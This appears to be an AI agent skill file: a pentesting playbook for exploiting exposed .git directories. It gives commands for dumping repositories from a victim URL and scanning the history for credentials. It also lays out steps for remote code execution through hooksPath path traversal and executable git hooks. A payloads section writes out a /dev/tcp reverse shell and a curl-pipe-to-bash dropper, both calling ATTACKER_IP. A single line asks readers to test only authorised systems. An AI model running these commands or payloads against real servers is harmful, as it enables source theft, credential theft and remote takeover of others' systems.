Git Pentesting Skill

This skill helps you exploit exposed

.git

When to Use This Skill

Use this skill when:

• You discover an exposed

  .git

  directory on a web application
• You need to dump and analyze git repositories from URLs
• You want to hunt for secrets, credentials, or sensitive data in git history
• You're testing for git-based vulnerabilities in web applications
• You need to understand git hook exploitation techniques

Quick Start

1. Dump the .git Directory

If you find an exposed

.git

Method A: Using git-dumper (recommended, fastest)

python3 git-dumper.py https://victim.com/.git/ output_dir
cd output_dir
git checkout -- .

Method B: Using wget (basic)

wget -r https://victim.com/.git/

Method C: Using DVCS-Pillage

dvcs-pillage.py https://victim.com/.git/

2. Reconstruct and Analyze

Once you have the dump:

cd dump_directory

# Reconstruct working tree
git checkout -- .

# View commit history
git log --graph --oneline --decorate --all

# Check for suspicious configs
git config -l

# List hooks
git ls-files .git/hooks/

3. Hunt for Secrets

Use these tools to find credentials, API keys, and sensitive data:

TruffleHog (recommended for verified secrets)

trufflehog git file://$(pwd) --only-verified --json > secrets.json

Gitleaks (fast, good for initial scan)

gitleaks detect -v --source . --report-format json --report-path gitleaks.json

Gitrob (for organizational repos)

gitrob -r https://github.com/organization

Advanced: Server-Side Git RCE via hooksPath

If the target application integrates Git on the server side, you may be able to achieve remote code execution through hook manipulation.

Prerequisites

• The application uses native Git (not JGit or similar libraries that ignore hooks)
• You can control or influence

  .git/config

  content
• You can write to a directory that Git will use for hooks

Exploitation Steps

1. Inject path traversal into hooksPath

   • Find where the app writes

     .git/config

   • Inject

     ../../..

     in repo/dependency names to escape the intended hooks directory
   • Example:

     hooksPath = ../../git_hooks

2. Force target directory creation

   • Abuse clone destination parameters
   • Use

     ref

     /branch/path parameters to make the app clone into your traversal path
   • This creates intermediate folders for you

3. Create executable hooks

   # Add your payload to pre-commit or post-commit
   echo '#!/bin/bash' > pre-commit
   echo 'YOUR_PAYLOAD_HERE' >> pre-commit
   
   # Set executable bit in git metadata
   git update-index --chmod=+x pre-commit
   git add pre-commit
   git commit -m "Add hook"
   

4. Trigger the Git action

   • Find deployment flows or flags that use system Git
   • Spam the config rewrite endpoint while triggering Git actions to win race conditions

Common Payloads

Reverse shell:

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

File dropper:

#!/bin/bash
curl http://ATTACKER_IP/payload.sh | bash

Tool Reference

python3 git-dumper.py URL output_dir

python3 git-dump.py URL dump

dvcs-pillage.py URL

trufflehog git file://$PWD --only-verified

gitleaks detect -v --source .

gitrob -r https://github.com/org

git-vuln-finder URL

Post-Exploitation Checklist

After dumping a

.git

• Reconstruct working tree with

  git checkout -- .

• Review commit history for sensitive changes
• Scan for secrets with TruffleHog/Gitleaks
• Check

  .git/config

  for remote URLs and credentials
• Examine hooks directory for existing hooks
• Look for API keys, passwords, tokens in file history
• Check for database connection strings
• Review any configuration files in history

Example Workflow

Scenario: You find

https://target.com/.git/

# Step 1: Dump the repository
python3 git-dumper.py https://target.com/.git/ target_dump

# Step 2: Reconstruct
cd target_dump
git checkout -- .

# Step 3: Quick triage
git log --graph --oneline --decorate --all
git config -l

# Step 4: Hunt for secrets
trufflehog git file://$(pwd) --only-verified --json > secrets.json
gitleaks detect -v --source . --report-format json --report-path gitleaks.json

# Step 5: Review findings
cat secrets.json
cat gitleaks.json

Important Notes

• Always verify findings - False positives are common in secret scanning
• Respect scope - Only test systems you have authorization to assess
• Document everything - Keep records of what you found and how
• Consider the impact - Exposed .git directories often contain production credentials

References

• Git Dumper - Parallel fast .git dumper
• Ebryx/GitDump - Brute-force recovery
• LookOut: RCE and internal access on Looker
• GitHub Dorks Study